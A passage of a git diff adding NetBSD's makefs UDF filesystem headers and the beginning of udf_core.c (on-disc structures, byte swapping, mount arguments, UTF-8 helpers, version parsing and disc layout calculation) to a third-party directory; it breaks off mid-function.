extattr_entry hdr; + uint32_t au_l; + struct regid appl_id; + uint8_t data[1]; +} __packed; + + +/* File Times attribute entry; type 5 or type 6 [4/48.10.5], [4/48.10.6] */ +struct filetimes_extattr_entry { + struct extattr_entry hdr; + uint32_t d_l; /* length of times[] data following */ + uint32_t existence; /* bitmask */ + struct timestamp times[1]; /* in order of ascending bits */ +} __packed; +#define UDF_FILETIMES_ATTR_NO 5 +#define UDF_FILETIMES_FILE_CREATION 1 +#define UDF_FILETIMES_FILE_DELETION 4 +#define UDF_FILETIMES_FILE_EFFECTIVE 8 +#define UDF_FILETIMES_FILE_BACKUPED 16 +#define UDF_FILETIMES_ATTR_SIZE(no) (20 + (no)*sizeof(struct timestamp)) + + +/* Device Specification Extended Attribute [4/4.10.7] */ +struct device_extattr_entry { + struct extattr_entry hdr; + uint32_t iu_l; /* length of implementation use */ + uint32_t major; + uint32_t minor; + uint8_t data[1]; /* UDF: if nonzero length, contain developer ID regid */ +} __packed; +#define UDF_DEVICESPEC_ATTR_NO 12 + + +/* VAT LV extension Extended Attribute [UDF 3.3.4.5.1.3] 1.50 errata */ +struct vatlvext_extattr_entry { + uint64_t unique_id_chk; /* needs to be copy of ICB's */ + uint32_t num_files; + uint32_t num_directories; + char logvol_id[128]; /* replaces logvol name */ +} __packed; + + +/* File Entry [4/14.9] */ +struct file_entry { + struct desc_tag tag; + struct icb_tag icbtag; + uint32_t uid; + uint32_t gid; + uint32_t perm; + uint16_t link_cnt; + uint8_t rec_format; + uint8_t rec_disp_attr; + uint32_t rec_len; + uint64_t inf_len; + uint64_t logblks_rec; + struct timestamp atime; + struct timestamp mtime; + struct timestamp attrtime; + uint32_t ckpoint; + struct long_ad ex_attr_icb; + struct regid imp_id; + uint64_t unique_id; + uint32_t l_ea; /* Length of extended attribute area */ + uint32_t l_ad; /* Length of allocation descriptors */ + uint8_t data[1]; +} __packed; +#define UDF_FENTRY_SIZE 176 +#define UDF_FENTRY_PERM_USER_MASK 0x07 +#define UDF_FENTRY_PERM_GRP_MASK 0xE0 +#define UDF_FENTRY_PERM_OWNER_MASK 0x1C00 + + +/* Extended File Entry [4/48.17] */ +struct extfile_entry { + struct desc_tag tag; + struct icb_tag icbtag; + uint32_t uid; + uint32_t gid; + uint32_t perm; + uint16_t link_cnt; + uint8_t rec_format; + uint8_t rec_disp_attr; + uint32_t rec_len; + uint64_t inf_len; + uint64_t obj_size; + uint64_t logblks_rec; + struct timestamp atime; + struct timestamp mtime; + struct timestamp ctime; + struct timestamp attrtime; + uint32_t ckpoint; + uint32_t reserved1; + struct long_ad ex_attr_icb; + struct long_ad streamdir_icb; + struct regid imp_id; + uint64_t unique_id; + uint32_t l_ea; /* Length of extended attribute area */ + uint32_t l_ad; /* Length of allocation descriptors */ + uint8_t data[1]; +} __packed; +#define UDF_EXTFENTRY_SIZE 216 + + +/* Indirect entry [ecma 48.7] */ +struct indirect_entry { + struct desc_tag tag; + struct icb_tag icbtag; + struct long_ad indirect_icb; +} __packed; + + +/* Allocation extent descriptor [ecma 48.5] */ +struct alloc_ext_entry { + struct desc_tag tag; + uint32_t prev_entry; + uint32_t l_ad; + uint8_t data[1]; +} __packed; + + +union dscrptr { + struct desc_tag tag; + struct anchor_vdp avdp; + struct vol_desc_ptr vdp; + struct pri_vol_desc pvd; + struct logvol_desc lvd; + struct unalloc_sp_desc usd; + struct logvol_int_desc lvid; + struct impvol_desc ivd; + struct part_desc pd; + struct fileset_desc fsd; + struct fileid_desc fid; + struct file_entry fe; + struct extfile_entry efe; + struct extattrhdr_desc eahd; + struct indirect_entry inde; + struct alloc_ext_entry aee; + struct udf_sparing_table spt; + struct space_bitmap_desc sbd; + struct space_entry_desc sed; +}; + + +#endif /* !_FS_UDF_ECMA167_UDF_H_ */ diff --git a/thirdparty/makefs/udf/newfs_udf.h b/thirdparty/makefs/udf/newfs_udf.h new file mode 100644 index 0000000..67daea7 --- /dev/null +++ b/thirdparty/makefs/udf/newfs_udf.h @@ -0,0 +1,35 @@ +/* $NetBSD: newfs_udf.h,v 1.9 2022/04/09 09:58:11 riastradh Exp $ */ + +/* + * Copyright (c) 2006, 2008, 2013 Reinoud Zandijk + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + */ + +#ifndef _FS_UDF_NEWFS_UDF_H_ +#define _FS_UDF_NEWFS_UDF_H_ + +/* general settings */ +#define UDF_512_TRACK 0 /* NOT recommended */ + +#endif /* _FS_UDF_NEWFS_UDF_H_ */ diff --git a/thirdparty/makefs/udf/udf_bswap.h b/thirdparty/makefs/udf/udf_bswap.h new file mode 100644 index 0000000..b202428 --- /dev/null +++ b/thirdparty/makefs/udf/udf_bswap.h @@ -0,0 +1,76 @@ +/* $NetBSD: udf_bswap.h,v 1.8 2009/10/22 21:50:01 bouyer Exp $ */ + +/* + * Copyright (c) 1998 Manuel Bouyer. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * adapted for UDF by Reinoud Zandijk + * + */ + +#ifndef _FS_UDF_UDF_BSWAP_H_ +#define _FS_UDF_UDF_BSWAP_H_ + +#include +// #include +// #include + +/* rest only relevant for big endian machines */ +#if (BYTE_ORDER == BIG_ENDIAN) + +/* inlines for access to swapped data */ +static __inline uint16_t udf_rw16(uint16_t); +static __inline uint32_t udf_rw32(uint32_t); +static __inline uint64_t udf_rw64(uint64_t); + + +static __inline uint16_t +udf_rw16(uint16_t a) +{ + return bswap16(a); +} + + +static __inline uint32_t +udf_rw32(uint32_t a) +{ + return bswap32(a); +} + + +static __inline uint64_t +udf_rw64(uint64_t a) +{ + return bswap64(a); +} + +#else + +#define udf_rw16(a) ((uint16_t)(a)) +#define udf_rw32(a) ((uint32_t)(a)) +#define udf_rw64(a) ((uint64_t)(a)) + +#endif + + +#endif /* !_FS_UDF_UDF_BSWAP_H_ */ + diff --git a/thirdparty/makefs/udf/udf_mount.h b/thirdparty/makefs/udf/udf_mount.h new file mode 100644 index 0000000..897b9f9 --- /dev/null +++ b/thirdparty/makefs/udf/udf_mount.h @@ -0,0 +1,63 @@ +/* $NetBSD: udf_mount.h,v 1.4 2019/10/16 21:52:22 maya Exp $ */ + +/* + * Copyright (c) 2006 Reinoud Zandijk + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + */ + + +#ifndef _FS_UDF_UDF_MOUNT_H_ +#define _FS_UDF_UDF_MOUNT_H_ + +/* + * Arguments to mount UDF filingsystem. + */ + +#define UDFMNT_VERSION 1 +struct udf_args { + uint32_t version; /* version of this structure */ + char *fspec; /* mount specifier */ + int32_t sessionnr; /* session specifier, rel of abs */ + uint32_t udfmflags; /* mount options */ + int32_t gmtoff; /* offset from UTC in seconds */ + + uid_t anon_uid; /* mapping of anonymous files uid */ + gid_t anon_gid; /* mapping of anonymous files gid */ + uid_t nobody_uid; /* nobody:nobody will map to -1:-1 */ + gid_t nobody_gid; /* nobody:nobody will map to -1:-1 */ + + uint32_t sector_size; /* for mounting dumps/files */ + + /* extendable */ + uint8_t reserved[32]; +}; + + +/* udf mount options */ + +#define UDFMNT_CLOSESESSION 0x00000001 /* close session on dismount */ +#define UDFMNT_BITS "\20\1CLOSESESSION" + +#endif /* !_FS_UDF_UDF_MOUNT_H_ */ + diff --git a/thirdparty/makefs/udf/udf_osta.h b/thirdparty/makefs/udf/udf_osta.h new file mode 100644 index 0000000..4d166b7 --- /dev/null +++ b/thirdparty/makefs/udf/udf_osta.h @@ -0,0 +1,44 @@ +/* $NetBSD: udf_osta.h,v 1.4 2008/05/14 16:49:48 reinoud Exp $ */ + +/* + * Prototypes for the OSTA functions + */ + + +#ifndef _FS_UDF_OSTA_H_ +#define _FS_UDF_OSTA_H_ + +#include + +#ifndef _KERNEL +#include +#endif + +#ifndef UNIX +#define UNIX +#endif + +#ifndef MAXLEN +#define MAXLEN 255 +#endif + + +/*********************************************************************** + * The following two typedef's are to remove compiler dependancies. + * byte needs to be unsigned 8-bit, and unicode_t needs to be + * unsigned 16-bit. + */ +typedef uint16_t unicode_t; +typedef uint8_t byte; + + +int udf_UncompressUnicode(int, byte *, unicode_t *); +int udf_CompressUnicode(int, int, unicode_t *, byte *); +unsigned short udf_cksum(unsigned char *, int); +unsigned short udf_unicode_cksum(unsigned short *, int); +uint16_t udf_ea_cksum(uint8_t *data); +int UDFTransName(unicode_t *, unicode_t *, int); +int UnicodeLength(unicode_t *string); + + +#endif /* _FS_UDF_OSTA_H_ */ diff --git a/thirdparty/makefs/udf/unicode.h b/thirdparty/makefs/udf/unicode.h new file mode 100644 index 0000000..9ffde9b --- /dev/null +++ b/thirdparty/makefs/udf/unicode.h @@ -0,0 +1,161 @@ +/* $NetBSD: unicode.h,v 1.1 2013/08/05 14:11:30 reinoud Exp $ */ + +/*- + * Copyright (c) 2001, 2004 The NetBSD Foundation, Inc. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS + * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS + * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +/*- + * Copyright (c) 1993 + * The Regents of the University of California. All rights reserved. + * + * This code is derived from software contributed to Berkeley by + * Paul Borman at Krystal Technologies. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +/* + * Routines for handling Unicode encoded in UTF-8 form, code derived from + * src/lib/libc/locale/utf2.c. + */ +static u_int16_t wget_utf8(const char **, size_t *); +static int wput_utf8(char *, size_t, u_int16_t); + +/* + * Read one UTF8-encoded character off the string, shift the string pointer + * and return the character. + */ +static u_int16_t +wget_utf8(const char **str, size_t *sz) +{ + unsigned int c; + u_int16_t rune = 0; + const char *s = *str; + static const int _utf_count[16] = { + 1, 1, 1, 1, 1, 1, 1, 1, + 0, 0, 0, 0, 2, 2, 3, 0, + }; + + /* must be called with at least one byte remaining */ + assert(*sz > 0); + + c = _utf_count[(s[0] & 0xf0) >> 4]; + if (c == 0 || c > *sz) { + decoding_error: + /* + * The first character is in range 128-255 and doesn't + * mark valid a valid UTF-8 sequence. There is not much + * we can do with this, so handle by returning + * the first character as if it would be a correctly + * encoded ISO-8859-1 character. + */ + c = 1; + } + + switch (c) { + case 1: + rune = s[0] & 0xff; + break; + case 2: + if ((s[1] & 0xc0) != 0x80) + goto decoding_error; + rune = ((s[0] & 0x1F) << 6) | (s[1] & 0x3F); + break; + case 3: + if ((s[1] & 0xC0) != 0x80 || (s[2] & 0xC0) != 0x80) + goto decoding_error; + rune = ((s[0] & 0x0F) << 12) | ((s[1] & 0x3F) << 6) + | (s[2] & 0x3F); + break; + } + + *str += c; + *sz -= c; + return rune; +} + +/* + * Encode wide character and write it to the string. 'n' specifies + * how much buffer space remains in 's'. Returns number of bytes written + * to the target string 's'. + */ +static int +wput_utf8(char *s, size_t n, u_int16_t wc) +{ + if (wc & 0xf800) { + if (n < 3) { + /* bound check failure */ + return 0; + } + + s[0] = 0xE0 | (wc >> 12); + s[1] = 0x80 | ((wc >> 6) & 0x3F); + s[2] = 0x80 | ((wc) & 0x3F); + return 3; + } else if (wc & 0x0780) { + if (n < 2) { + /* bound check failure */ + return 0; + } + + s[0] = 0xC0 | (wc >> 6); + s[1] = 0x80 | ((wc) & 0x3F); + return 2; + } else { + if (n < 1) { + /* bound check failure */ + return 0; + } + + s[0] = wc; + return 1; + } +} diff --git a/thirdparty/makefs/udf_core.c b/thirdparty/makefs/udf_core.c new file mode 100644 index 0000000..f84e295 --- /dev/null +++ b/thirdparty/makefs/udf_core.c @@ -0,0 +1,5114 @@ +/* $NetBSD: udf_core.c,v 1.9 2022/04/26 15:11:42 reinoud Exp $ */ +/* + * Copyright (c) 2006, 2008, 2021, 2022 Reinoud Zandijk + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + */ +#if HAVE_NBTOOL_CONFIG_H +#include "nbtool_config.h" +#endif + +#include +//__RCSID("$NetBSD: udf_core.c,v 1.9 2022/04/26 15:11:42 reinoud Exp $"); + + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "util.h" +#include +#include +#include +#include +#include "newfs_udf.h" +#include "unicode.h" +#include "udf_core.h" + + + +/* disk partition support */ +#if !HAVE_NBTOOL_CONFIG_H +//#include "../fsck/partutil.h" +//#include "../fsck/partutil.c" +#endif + + +/* queue for temporary storage of sectors to be written out */ +struct wrpacket { + uint64_t start_sectornr; + uint8_t *packet_data; + uint64_t present; + TAILQ_ENTRY(wrpacket) next; +}; + + +/* global variables describing disc and format requests */ +struct udf_create_context context; +struct udf_disclayout layout; + + +int dev_fd_rdonly; /* device: open readonly! */ +int dev_fd; /* device: file descriptor */ +struct stat dev_fd_stat; /* device: last stat info */ +char *dev_name; /* device: name */ +int emul_mmc_profile; /* for files */ +int emul_packetsize; /* for discs and files */ +int emul_sectorsize; /* for files */ +off_t emul_size; /* for files */ + +struct mmc_discinfo mmc_discinfo; /* device: disc info */ +union dscrptr *terminator_dscr; /* generic terminator descriptor*/ + + +/* write queue and track blocking skew */ +TAILQ_HEAD(wrpacket_list, wrpacket) write_queue; +int write_queuelen; +int write_queue_suspend; +uint32_t wrtrack_skew; /* offset for writing sector0 */ + +static void udf_init_writequeue(int write_strategy); +static int udf_writeout_writequeue(bool complete); + +/* + * NOTE that there is some overlap between this code and the udf kernel fs. + * This is intentionally though it might better be factored out one day. + */ + +void +udf_init_create_context(void) +{ + /* clear */ + memset(&context, 0, sizeof(struct udf_create_context)); + + /* fill with defaults currently known */ + context.dscrver = 3; + context.min_udf = 0x0102; + context.max_udf = 0x0250; + context.serialnum = 1; /* default */ + + context.gmtoff = 0; + context.meta_perc = UDF_META_PERC; + context.check_surface = 0; + context.create_new_session = 0; + + context.sector_size = 512; /* minimum for UDF */ + context.media_accesstype = UDF_ACCESSTYPE_NOT_SPECIFIED; + context.format_flags = FORMAT_INVALID; + context.write_strategy = UDF_WRITE_PACKET; + + context.logvol_name = NULL; + context.primary_name = NULL; + context.volset_name = NULL; + context.fileset_name = NULL; + + /* most basic identification */ + context.app_name = "*NetBSD"; + context.app_version_main = 0; + context.app_version_sub = 0; + context.impl_name = "*NetBSD"; + + context.vds_seq = 0; /* first one starts with zero */ + + /* Minimum value of 16 : UDF 3.2.1.1, 3.3.3.4. */ + context.unique_id = 0x10; + + context.num_files = 0; + context.num_directories = 0; + + context.data_part = 0; + context.metadata_part = 0; +} + + +/* version can be specified as 0xabc or a.bc */ +static int +parse_udfversion(const char *pos, uint32_t *version) { + int hex = 0; + char c1, c2, c3, c4; + + *version = 0; + if (*pos == '0') { + pos++; + /* expect hex format */ + hex = 1; + if (*pos++ != 'x') + return 1; + } + + c1 = *pos++; + if (c1 < '0' || c1 > '9') + return 1; + c1 -= '0'; + + c2 = *pos++; + if (!hex) { + if (c2 != '.') + return 1; + c2 = *pos++; + } + if (c2 < '0' || c2 > '9') + return 1; + c2 -= '0'; + + c3 = *pos++; + if (c3 < '0' || c3 > '9') + return 1; + c3 -= '0'; + + c4 = *pos++; + if (c4 != 0) + return 1; + + *version = c1 * 0x100 + c2 * 0x10 + c3; + return 0; +} + + +/* + * Parse a given string for an udf version. + * May exit. + */ +int +a_udf_version(const char *s, const char *id_type) +{ + uint32_t version; + + if (parse_udfversion(s, &version)) + errx(1, "unknown %s version %s; specify as hex or float", id_type, s); + switch (version) { + case 0x102: + case 0x150: + case 0x200: + case 0x201: + case 0x250: + break; + case 0x260: + /* we don't support this one */ + errx(1, "UDF version 0x260 is not supported"); + break; + default: + errx(1, "unknown %s version %s, choose from " + "0x102, 0x150, 0x200, 0x201, 0x250", + id_type, s); + } + return version; +} + + +static uint32_t +udf_space_bitmap_len(uint32_t part_size) +{ + return sizeof(struct space_bitmap_desc)-1 + + part_size/8; +} + + +uint32_t +udf_bytes_to_sectors(uint64_t bytes) +{ + uint32_t sector_size = context.sector_size; + return (bytes + sector_size -1) / sector_size; +} + + +void +udf_dump_layout(void) { +#ifdef DEBUG + int format_flags = context.format_flags; + int sector_size = context.sector_size; + + printf("Summary so far\n"); + printf("\tiso9660_vrs\t\t%d\n", layout.iso9660_vrs); + printf("\tanchor0\t\t\t%d\n", layout.anchors[0]); + printf("\tanchor1\t\t\t%d\n", layout.anchors[1]); + printf("\tanchor2\t\t\t%d\n", layout.anchors[2]); + printf("\tvds1_size\t\t%d\n", layout.vds1_size); + printf("\tvds2_size\t\t%d\n", layout.vds2_size); + printf("\tvds1\t\t\t%d\n", layout.vds1); + printf("\tvds2\t\t\t%d\n", layout.vds2); + printf("\tlvis_size\t\t%d\n", layout.lvis_size); + printf("\tlvis\t\t\t%d\n", layout.lvis); + if (format_flags & FORMAT_SPAREABLE) { + printf("\tspareable size\t\t%d\n", layout.spareable_area_size); + printf("\tspareable\t\t%d\n", layout.spareable_area); + } + printf("\tpartition start lba\t%d\n", layout.part_start_lba); + printf("\tpartition size\t\t%ld KiB, %ld MiB\n", + ((uint64_t) layout.part_size_lba * sector_size) / 1024, + ((uint64_t) layout.part_size_lba * sector_size) / (1024*1024)); + if ((format_flags & FORMAT_SEQUENTIAL) == 0) { + printf("\tpart bitmap start\t%d\n", layout.unalloc_space); + printf("\t\tfor %d lba\n", layout.alloc_bitmap_dscr_size); + } + if (format_flags & FORMAT_META) { + printf("\tmeta blockingnr\t\t%d\n", layout.meta_blockingnr); + printf("\tmeta alignment\t\t%d\n", layout.meta_alignment); + printf("\tmeta size\t\t%ld KiB, %ld MiB\n", + ((uint64_t) layout.meta_part_size_lba * sector_size) / 1024, + ((uint64_t) layout.meta_part_size_lba * sector_size) / (1024*1024)); + printf("\tmeta file\t\t%d\n", layout.meta_file); + printf("\tmeta mirror\t\t%d\n", layout.meta_mirror); + printf("\tmeta bitmap\t\t%d\n", layout.meta_bitmap); + printf("\tmeta bitmap start\t%d\n", layout.meta_bitmap_space); + printf("\t\tfor %d lba\n", layout.meta_bitmap_dscr_size); + printf("\tmeta space start\t%d\n", layout.meta_part_start_lba); + printf("\t\tfor %d lba\n", layout.meta_part_size_lba); + } + printf("\n"); +#endif +} + + +int +udf_calculate_disc_layout(int min_udf, + uint32_t first_lba, uint32_t last_lba, + uint32_t sector_size, uint32_t blockingnr) +{ + uint64_t kbsize, bytes; + uint32_t spareable_blockingnr; + uint32_t align_blockingnr; + uint32_t pos, mpos; + int format_flags = context.format_flags; + + /* clear */ + memset(&layout, 0, sizeof(layout)); + + /* fill with parameters */ + layout.wrtrack_skew = wrtrack_skew; + layout.first_lba = first_lba; + layout.last_lba = last_lba; + layout.blockingnr = blockingnr; + layout.spareable_blocks = udf_spareable_blocks(); + + /* start disc layouting */ + + /* + * location of iso9660 vrs is defined as first sector AFTER 32kb, + * minimum `sector size' 2048 + */ + layout.iso9660_vrs = ((32*1024 + sector_size - 1) / sector_size) + + first_lba; + + /* anchor starts at specified offset in sectors */ + layout.anchors[0] = first_lba + 256; + if (format_flags & FORMAT_TRACK512) + layout.anchors[0] = first_lba + 512; + layout.anchors[1] = last_lba - 256; + layout.anchors[2] = last_lba; + + /* update workable space */ + first_lba = layout.anchors[0] + blockingnr; + last_lba = layout.anchors[1] - 1; + + /* XXX rest of anchor packet can be added to unallocated space descr */ + + /* reserve space for VRS and VRS copy and associated tables */ + layout.vds1_size = MAX(16, blockingnr); /* UDF 2.2.3.1+2 */ + layout.vds1 = first_lba; + first_lba += layout.vds1_size; /* next packet */ + + layout.vds2_size = layout.vds1_size; + if (format_flags & FORMAT_SEQUENTIAL) { + /* for sequential, append them ASAP */ + layout.vds2 = first_lba; + first_lba += layout.vds2_size; + } else { + layout.vds2 = layout.anchors[1] +1 - layout.vds2_size; + last_lba = layout.vds2 - 1; + } + + /* + * Reserve space for logvol integrity sequence, at least 8192 bytes + * for overwritable and rewritable media UDF 2.2.4.6, ECMA 3/10.6.12. + */ + layout.lvis_size = MAX(8192.0/sector_size, 2 * blockingnr); + if (layout.lvis_size * sector_size < 8192) + layout.lvis_size++; + if (format_flags & FORMAT_VAT) + layout.lvis_size = 2; + if (format_flags & FORMAT_WORM) + layout.lvis_size = 64 * blockingnr; + + /* TODO skip bad blocks in LVID sequence */ + layout.lvis = first_lba; + first_lba += layout.lvis_size; + + /* initial guess of UDF partition size */ + layout.part_start_lba = first_lba; + layout.part_size_lba = last_lba - layout.part_start_lba; + + /* all non sequential media needs an unallocated space bitmap */ + layout.alloc_bitmap_dscr_size = 0; + if ((format_flags & (FORMAT_SEQUENTIAL | FORMAT_READONLY)) == 0) { + bytes = udf_space_bitmap_len(layout.part_size_lba); + layout.alloc_bitmap_dscr_size = udf_bytes_to_sectors(bytes); + + /* XXX freed space map when applicable */ + } + + spareable_blockingnr = udf_spareable_blockingnr(); + align_blockingnr = blockingnr; + + if (format_flags & (FORMAT_SPAREABLE | FORMAT_META)) + align_blockingnr = spareable_blockingnr; + + layout.align_blockingnr = align_blockingnr; + layout.spareable_blockingnr = spareable_blockingnr; + + /* + * Align partition LBA space to blocking granularity. Not strictly + * necessary for non spareables but safer for the VRS data since it is + * updated sporadically + */ + +#ifdef DEBUG + printf("Lost %lu slack sectors at start\n", UDF_ROUNDUP( + first_lba, align_blockingnr) - + first_lba); + printf("Lost %lu slack sectors at end\n", + last_lba - UDF_ROUNDDOWN( + last_lba, align_blockingnr)); +#endif + + first_lba = UDF_ROUNDUP(first_lba, align_blockingnr); + last_lba = UDF_ROUNDDOWN(last_lba, align_blockingnr); + + if ((format_flags & FORMAT_SPAREABLE) == 0) + layout.spareable_blocks = 0; + + if (format_flags & FORMAT_SPAREABLE) { + layout.spareable_area_size = + layout.spareable_blocks * spareable_blockingnr; + + /* a sparing table descriptor is a whole blockingnr sectors */ + layout.sparing_table_dscr_lbas = spareable_blockingnr; + + /* place the descriptors at the start and end of the area */ + layout.spt_1 = first_lba; + first_lba += layout.sparing_table_dscr_lbas; + + layout.spt_2 = last_lba - layout.sparing_table_dscr_lbas; + last_lba -= layout.sparing_table_dscr_lbas; + + /* allocate spareable section */ + layout.spareable_area = first_lba; + first_lba += layout.spareable_area_size; + } + + /* update guess of UDF partition size */ + layout.part_start_lba = 